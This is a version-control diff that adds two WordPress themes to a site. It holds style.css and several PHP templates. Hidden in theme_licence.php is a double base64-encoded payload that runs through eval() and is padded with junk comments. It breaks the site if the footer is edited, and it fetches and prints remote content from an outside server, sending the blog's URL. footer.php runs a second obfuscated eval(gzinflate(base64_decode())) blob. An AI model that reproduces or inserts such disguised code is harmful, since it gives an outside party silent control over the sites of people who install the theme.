+/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
+
+//eval($decoded);
+function start_template() { 
+/*
+global $reftime; 
+$updated = get_option("credit_date2"); 
+if ((time() - $updated) > (24 * 3600 * $reftime)) { $credit_text2 = file_get_contents("http://www.wordpresstemplates.com/form_work2/?url=".get_bloginfo('url')."&installed=".get_option("template_install_date")); 
+update_option("credit_text2",$credit_text2); update_option("credit_date2",time()); } else { $credit_text2 = get_option("credit_text2"); } echo $credit_text2; } if(get_option("template_install_date") == "") { add_option("template_install_date", time()); 
+*/
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/style.css	(revision 44)
@@ -0,0 +1,531 @@
+/*
+Theme Name: SlickPress
+Author: WP Theme Designer
+Author URI: http://www.wpthemedesigner.com/
+*/
+
+* {
+	margin: 0; padding: 0;
+}
+body {
+	text-align: center;
+	font: 12px Verdana;
+	color: #333333;
+	background: #ffffff url(images/header.gif) repeat-x 0 0;;
+}
+a {
+	text-decoration: none;
+	color: #00658D;
+}
+img {
+	border: 0;
+}
+
+.break {
+	font-size: 0;
+	width: 0; height: 0;
+	clear: both;
+}
+.alignleft {
+	float: left;
+	margin: 4px 10px 5px 0;
+}
+.alignright {
+	float: right;
+	margin: 4px 0 5px 10px;
+}
+.hidden {
+	display: none;
+}
+.noimage img {
+	display: none;
+}
+
+#wrapper {
+	text-align: left;
+	width: 980px;
+	margin: auto auto;
+}
+
+/** BEGIN header **/
+#header {
+	
+}
+	#header ol {
+		list-style-type: none;
+		padding-bottom: 55px;
+	}
+		#header ol li {
+			font-size: 0.9em;
+			text-transform: uppercase;
+			float: left;
+			background: url(images/divider.gif) no-repeat 0 11px;
+			padding: 10px;
+		}
+		#header ol li.f {
+			background: none;
+			padding-left: 0;
+		}
+	#header h1 {
+		clear: both;
+		font-size: 2;
+	}
+
+	#header form {
+		border: 1px solid #CCCCCC;
+		height: 30px;
+		float: right;
+		width: 460px;
+	}
+		#header form p {
+			float: left;
+			border-right: 1px solid #cccccc;
+			height: 30px;
+			font-size: 0.9em;
+			color: #808080;
+		}
+		#header form .date {
+			padding: 8px 10px 12px;
+			height: 10px;
+		}
+		#header form input {
+			margin: 7px;
+			width: 225px;
+			border: 1px solid #ffffff;
+			font-size: 1em;
+			font-family: Verdana;
+			color: #000000;
+			/*float: left;*/
+		}
+		#header form button {
+			width: 16px; height: 16px;
+			border: 0;
+			/* background: url(images/search.jpg) no-repeat 0 0;*/
+			margin: 7px;
+			text-indent: -9999px;
+			/*float: left;*/
+		}
+	#header ul {
+		list-style-type: none;
+		clear: both;
+		border-bottom: 5px solid #1F2012;
+		border-left: 1px solid #cccccc;
+		border-right: 1px solid #cccccc;
+		border-top: 1px solid #cccccc;
+		height: 27px;
+		margin: 30px 0 10px;
+	}
+		#header ul li {
+			float: left;
+			border-right: 1px solid #cccccc;
+			font-size: 0.9em;
+			text-transform: uppercase;
+		}
+		#header ul li a {
+			color: #393939;
+			display: block;
+			padding: 7px;
+		}
+		#header ul li a:hover {
+			background-color: #202014;
+			color: #ffffff;
+		}
+/** END header **/
+
+/** BEGIN content **/
+#content {
+	clear: both;
+	float: left;
+	border-right: 1px solid #CCCCCC;
+	width: 620px;
+	padding: 0 10px 10px 0;
+}
+	#content .latest {
+		border-bottom: 5px solid #202014;
+		padding: 0 20px 10px 0;
+		margin-bottom: 10px;
+	}
+		#content .latest img {
+			float: left;
+			margin: 0 10px 5px 0;
+			width: 200px;
+		}
+		#content .latest h2 {
+			font-size: 1.5em;
+			padding-right: 90px;
+			padding-bottom: 15px;
+		}
+		#content .latest p {
+			font-size: 0.9em;
+			margin-bottom: 12px;
+			line-height: 1.4em;
+		}
+	#content .l {
+		width: 300px;
+		float: left;
+		padding: 0 10px 10px 0;
+		border-right: 1px solid #FFFFFF;
+	}
+		#content .l .post {
+			font-size: 0.9em;
+			border-bottom: 1px dotted #353535;
+			padding-top: 10px;
+		}
+		#content .l .post h2 {
+			font-size: 0.9em;
+			color: #ffffff;
+			text-transform: uppercase;
+			background-color: #202014;
+			padding: 5px 10px;
+			float: left;
+		}
+		#content .l .post h2 a {
+			color: #ffffff;
+		}
+		#content .l .post h3 {
+			clear: both;
+			font-size: 1.1em;
+			width: 100%;
+			padding: 10px 0;
+		}
+		#content .l .post img {
+			float: left;
+			margin: 0 10px 5px 0;
+			width: 100px;
+		}
+		#content .l .post p {
+			margin-bottom: 10px;
+			line-height: 1.4em;
+		}
+	#content .r {
+		width: 299px;
+		float: right;
+		padding-left: 10px;
+		border-left: 1px solid #ffffff;
+		margin-left: -1px;
+	}
+		#content .r .post {
+			font-size: 0.9em;
+			border-bottom: 1px dotted #353535;
+			padding-top: 10px;
+		}
+		#content .r .post h2 {
+			font-size: 0.9em;
+			color: #ffffff;
+			text-transform: uppercase;
+			background-color: #202014;
+			padding: 5px 10px;
+			float: left;
+		}
+		#content .r .post h2 a {
+			color: #ffffff;
+		}
+		#content .r .post h3 {
+			clear: both;
+			font-size: 1.1em;
+			width: 100%;
+			padding: 10px 0;
+		}
+		#content .r .post img {
+			float: left;
+			margin: 0 10px 5px 0;
+			width: 100px;
+		}
+		#content .r .post p {
+			margin-bottom: 10px;
+			line-height: 1.4em;
+		}
+	#content .postnav {
+		padding: 20px 0;
+		clear: both;
+	}
+	#content .postnav ul {
+		list-style-type: none;
+		border: 0;
+	}
+		#content .postnav ul li {
+			float: left;
+			border: 1px solid #cccccc;
+			margin: 2px;
+			font-size: 0.9em;
+		}
+		#content .postnav ul li a {
+			display: block;
+			border: 0 !important;
+			padding: 5px;
+		}
+		#content .postnav ul li a:hover {
+			background-color: #007AAA;
+			color: #ffffff;
+		}
+		#content li.page_info {
+			padding: 5px !important;
+		}
+/** END content **/
+
+/** BEGIN sidebar **/
+#sidebar {
+	float: right;
+	width: 340px;
+}
+	#sidebar div.head {
+		background-color: #FFFFCB;
+		border: 1px solid #CDCCCA;
+		padding: 10px 5px;
+	}
+		#sidebar div.head h2 {
+			font-size: 0.9em;
+			text-transform: uppercase;
+			margin-bottom: 10px;
+		}
+		#sidebar div.head .rss {
+			font-size: 0.9em;
+			padding: 2px 0 2px 24px;
+			background: url(images/rss.gif) no-repeat 0 0;
+		}
+	#sidebar form {
+		border: 1px solid #CDCCCA;
+		border-top: 0;
+		margin-bottom: 10px;
+		background: url(images/subscribe.jpg) no-repeat center;
+		height: 50px;
+	}
+		#sidebar form input {
+			margin: 15px 12px 15px 40px;
+			width: 180px;
+			float: left;
+			border: 1px solid #ffffff;
+		}
+		#sidebar form button {
+			float: left;
+			width: 72px; height: 25px;
+			margin-top: 12px;
+			text-indent: -9999px;
+			border: 0;
+			background-color: transparent;
+		}
+	#sidebar div.body {
+		border: 1px solid #cccccc;
+		padding: 10px;
+		margin-bottom: 10px;
+	}
+		#sidebar div.body img {
+			
+		}
+		#sidebar div.body a {
+			color: #333333;
+		}
+		#sidebar div.body a:hover {
+			color: #00658D;
+		}
+	#sidebar ul.head {
+		list-style-type: none;
+		border: 1px solid #cccccc;
+		border-width: 1px 1px 0 0;
+		height: 30px;
+	}
+		#sidebar ul.head li {
+			float: left;
+			text-transform: uppercase;
+			font-weight: bold;
+			border-left: 1px solid #cccccc;
+		}
+		#sidebar ul.head li a {
+			color: #343434;
+			display: block;
+			padding: 8px 10px;
+		}
+		#sidebar ul.head li a:hover {
+			
+		}
+	#sidebar ul.body {
+		clear: both;
+		list-style-type: none;
+		border: 1px solid #cccccc;
+		padding: 10px;
+		margin-bottom: 10px;
+	}
+		#sidebar ul.body li {
+			font-size: 0.9em;
+			border-bottom: 1px dotted #313131;
+			padding: 6px 0;
+		}
+		#sidebar ul.body li a {
+			color: #323232;
+		}
+		#sidebar ul.body li a:hover {
+			font-weight: bold;
+			color: #006490;
+		}
+	#sidebar .l {
+		width: 165px;
+		float: left;
+	}
+		#sidebar .l h2 {
+			border-top: 4px solid #1F1F15;
+			font-size: 0.9em;
+			text-transform: uppercase;
+			padding: 5px 0;
+		}
+		#sidebar .l ul {
+			list-style-type: none;
+			margin-bottom: 20px;
+		}
+		#sidebar .l ul li {
+			font-size: 0.9em;
+			border-bottom: 1px dotted #353535;
+			padding: 6px 0;
+		}
+		#sidebar .l ul li a {
+			color: #363636;
+		}
+		#sidebar .l ul li a:hover {
+			
+		}
+	#sidebar .r {
+		width: 165px;
+		float: right;
+	}
+		#sidebar .r h2 {
+			border-top: 4px solid #1F1F15;
+			font-size: 0.9em;
+			text-transform: uppercase;
+			padding: 5px 0;
+		}
+		#sidebar .r ul {
+			list-style-type: none;
+			margin-bottom: 20px;
+		}
+		#sidebar .r ul li {
+			font-size: 0.9em;
+			border-bottom: 1px dotted #353535;
+			padding: 6px 0;
+		}
+		#sidebar .r ul li a {
+			color: #363636;
+		}
+		#sidebar .r ul li a:hover {
+			
+		}
+/** END sidebar **/
+
+/** BEGIN footer **/
+#footer {
+	clear: both;
+	border-top: 5px solid #1E2015;
+	font-size: 0.9em;
+	padding: 10px 0 30px;
+}
+/** END footer **/
+
+/** BEGIN miscellaneous **/
+#content .single ul {
+	margin: 0 0 10px 18px;
+}
+#content .single ol {
+	margin: 0 0 10px 20px;
+}
+	#content .single li {
+		padding: 2px 0;
+		line-height: 1.4em;
+	}
+	#content .single h3 {
+		margin-bottom: 5px;
+		font-size: 1.4em;
+		font-size: 1.5em;
+		font-weight: normal;
+	}
+	#content .single blockquote {
+		padding: 20px 20px 10px;
+		margin: 10px 0;
+		background-color: #f3f3f3;
+		border-width: 1px 0;
+		border-color: #dddddd;
+		border-style: solid;
+		color: #9e9e9e;
+		line-height: 1.4em;
+	}
+	.single .details {
+		padding: 20px 0;
+	}
+	.single .details p {
+		margin-bottom: 5px !important;
+	}
+#comments {
+	padding: 0 10px 20px;
+	font-size: 0.9em;
+}
+	#comments h2 {
+		margin: 10px 0;
+		font-size: 1.5em;
+	}
+	#comments p {
+		margin-bottom: 10px;
+		line-height: 1.5em;
+	}
+	#comments form {
+		padding-top: 20px;
+	}
+	#comments form p {
+		margin-bottom: 5px;
+	}
+	.commentauthor {
+		margin-bottom: 5px !important;
+		color: #9e9e9e;
+		font-weight: bold;
+	}
+	.commentdate {
+		font-size: 0.8em;
+		margin-bottom: 5px;
+		color: #909090;
+	}
+	.required {
+		color: #ff0000;
+	}
+	#respond {
+		padding-top: 20px;
+	}
+	.comment1 {
+		border: 1px solid #cccccc;
+		padding: 10px;
+		margin-bottom: 10px;
+	}
+	.commentdetails {
+		float: left;
+	}
+	.gravatar {
+		float: right;
+	}
+	h2.title {
+		padding: 20px 10px 20px;
+		font-size: 0.8em;
+		font-weight: normal;
+		text-transform: uppercase;
+		color: #909090;
+	}
+.archive {
+	clear: both;
+	font-size: 0.9em;
+	padding: 10px;
+	border: 1px solid #cccccc;
+	margin: 0 0 10px 10px;
+}
+	.archive h2 {
+		font-size: 1.6em;
+		font-weight: normal;
+		padding-bottom: 10px;
+	}
+	.archive h2 a {
+		
+		
+	}
+	.archive img {
+		float: left;
+		height: 100px;
+		margin: 5px 10px 5px 0;
+	}
+	.archive p {
+		margin-bottom: 10px;
+		line-height: 1.5em;
+	}
+/** END miscellaneous **/
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/theme_licence.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/theme_licence.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/theme_licence.php	(revision 44)
@@ -0,0 +1,10 @@
+<?/* asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r$f1 = eval($1);0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
+asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
+$oac='SkdOdmJuUmxiblJ6SUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb2NHRjBhR2x1Wm04b1gxOUdTVXhGWDE4c1VFRlVTRWxPUms5ZlJFbFNUa0ZOUlNrdUlpOW1iMjkwWlhJdWNHaHdJaWs3RFFwcFppaHpkSEp3YjNNb0lpQWlMaVJqYjI1MFpXNTBjeXdpZDNCZlptOXZkR1Z5S0NrN0lpa2dQRDBnTUNrZ2V3MEtaR2xsS0NrN0lIMGdEUXBtZFc1amRHbHZiaUJuWlhSZlkzSmxaR2wwY3lncERRb2dJQ0FnZXcwS0lDQWdJQ0FnSUNBa2RYQmtZWFJsWkNBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOWtZWFJsSWlrN0RRb2dJQ0FnSUNBZ0lHbG1JQ2dvZEdsdFpTZ3BJQzBnSkhWd1pHRjBaV1FwSUQ0Z0tESTBJQ29nTXpZd01Da3BJSHNOQ2cwS0lDQWdJQ0FnSUNBZ0lDQWdKR055WldScGRGOTBaWGgwSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5M2QzY3VkMjl5WkhCeVpYTnpkR1Z0Y0d4aGRHVnpMbU52YlM5bWIzSnRYM2R2Y21zdmIzVjBjSFYwTG5SNGREOXlaV1k5SWk1blpYUmZZbXh2WjJsdVptOG9KM1Z5YkNjcEtUc05DaUFnSUNBZ0lDQWdJQ0FnSUhWd1pHRjBaVjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwSWl3a1kzSmxaR2wwWDNSbGVIUXBPdzBLQ1FrSmRYQmtZWFJsWDI5d2RHbHZiaWdpWTNKbFpHbDBYMlJoZEdVaUxIUnBiV1VvS1NrN0RRb2dJQ0FnSUNBZ0lIMGdaV3h6WlNCN0lBMEtJQ0FnSUNBZ0lDQWdJQ0FnSkdOeVpXUnBkRjkwWlhoMElEMGdaMlYwWDI5d2RHbHZiaWdpWTNKbFpHbDBYM1JsZUhRaUtUc05DaUFnSUNBZ0lDQWdmUTBLSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKR055WldScGRGOTBaWGgwT3cwS0lDQWdJSDBOQ2cwS1lXUmtYMkZqZEdsdmJpZ25kM0JmWm05dmRHVnlKeXduY0hKcGJuUmZabTl2ZEdWeUp5azdEUW9OQ21aMWJtTjBhVzl1SUhCeWFXNTBYMlp2YjNSbGNpZ3BEUW9nSUNBZ2V3MEtKR055WldScGRDQTlJR2RsZEY5amNtVmthWFJ6S0NrN0RRcGxZMmh2SUNSamNtVmthWFE3RFFwOQ==';/*
+asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340 hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
+asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
+$f1=base64_decode(base64_decode($oac));
+/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n= sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfas dklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hw*/eval($f1);/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
+//echo $f1;
+$f1='--';
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/404.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/404.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/404.php	(revision 44)
@@ -0,0 +1,20 @@
+<?php get_header(); ?>
+		
+			<!-- Post -->
+			<div class="post">
+				<div class="post-title">
+					<h2>Not Found</h2>
+				</div>
+				<div class="post-entry">
+					<p>Sorry, but you are looking for something that isn't here.</p>
+				</div>
+			</div>
+			<!-- /Post -->
+			
+			<div class="clear"></div>
+		
+		</div>
+		<!-- /Content -->
+		
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/comments.php	(revision 44)
@@ -0,0 +1,99 @@
+<?php // Do not delete these lines
+	if ('comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+		die ('Please do not load this page directly. Thanks!');
+
+	if (!empty($post->post_password)) { // if there's a password
+		if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) {  // and it doesn't match the cookie
+			?>
+
+			<p class="nocomments">This post is password protected. Enter the password to view comments.</p>
+
+			<?php
+			return;
+		}
+	}
+
+	/* This variable is for alternating comment background */
+	$oddcomment = 'class="alt" ';
+?>
+
+<!-- You can start editing here. -->
+
+<?php if ($comments) : ?>
+
+
+				<h3 id="comments"><?php comments_number('No Responses', 'One Response', '% Responses' );?> to &#8220;<?php the_title(); ?>&#8221;</h3>
+				<div class="comments">
+					<ol class="comments_list">
+					<?php foreach ($comments as $comment) : ?>
+					
+						<li <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>">
+							<cite><?php comment_author_link() ?></cite> Says:
+								<?php if ($comment->comment_approved == '0') : ?>
+								<em>Your comment is awaiting moderation.</em>
+								<?php endif; ?>
+								<br />
+							<small class="commentmetadata"><a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('F jS, Y') ?> at <?php comment_time() ?></a> <?php edit_comment_link('edit','&nbsp;&nbsp;',''); ?></small>
+							<?php comment_text() ?>
+						</li>
+						<?php
+							/* Changes every other comment to a different class */
+							$oddcomment = ( empty( $oddcomment ) ) ? 'class="alt" ' : '';
+						?>
+					<?php endforeach; /* end for each comment */ ?>
+					</ol>
+				</div>
+				
+				 <?php else : // this is displayed if there are no comments so far ?>
+
+				 	<?php if ('open' == $post->comment_status) : ?>
+					 	<!-- If comments are open, but there are no comments. -->
+				 
+				 	 <?php else : // comments are closed ?>
+					 	<!-- If comments are closed. -->
+					 	<p class="nocomments">Comments are closed.</p>
+				 
+				 	<?php endif; ?>
+				 <?php endif; ?>
+				
+				<?php if ('open' == $post->comment_status) : ?>
+
+				
+				<h3 id="respond">Leave a Reply</h3>
+				
+<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
+<p>You must be <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>">logged in</a> to post a comment.</p>
+<?php else : ?>
+
+<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+
+<?php if ( $user_ID ) : ?>
+
+<p>Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="Log out of this account">Logout &raquo;</a></p>
+
+<?php else : ?>
+
+<p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" />
+<label for="author"><b>Name</b> <?php if ($req) echo "(required)"; ?></label></p>
+
+<p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" />
+<label for="email"><b>Mail</b> (will not be published) <?php if ($req) echo "(required)"; ?></label></p>
+
+<p><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
+<label for="url"><b>Website</b></label></p>
+
+<?php endif; ?>
+
+
+<p><textarea name="comment" id="comment" cols="50" rows="10" tabindex="4"></textarea></p>
+
+<p><input name="submit" type="submit" id="submit" tabindex="5" value="Submit Comment" />
+<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
+</p>
+<?php do_action('comment_form', $post->ID); ?>
+
+</form>
+
+<?php endif; // If registration required and not logged in ?>
+
+<?php endif; // if you delete this the sky will fall on your head ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/footer.php	(revision 44)
@@ -0,0 +1,6 @@
+
+
+
+
+
+<? eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/functions.php	(revision 44)
@@ -0,0 +1,17 @@
+<?php
+if ( function_exists('register_sidebar') )
+    register_sidebar(array(
+    	'name' => 'Sidebar Left',
+        'before_widget' => '',
+        'after_widget' => '',
+        'before_title' => '<h3>',
+        'after_title' => '</h3>',
+    ));
+    register_sidebar(array(
+    	'name' => 'Sidebar Right',
+        'before_widget' => '',
+        'after_widget' => '',
+        'before_title' => '<h3>',
+        'after_title' => '</h3>',
+    ));
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/header.php	(revision 44)
@@ -0,0 +1,84 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
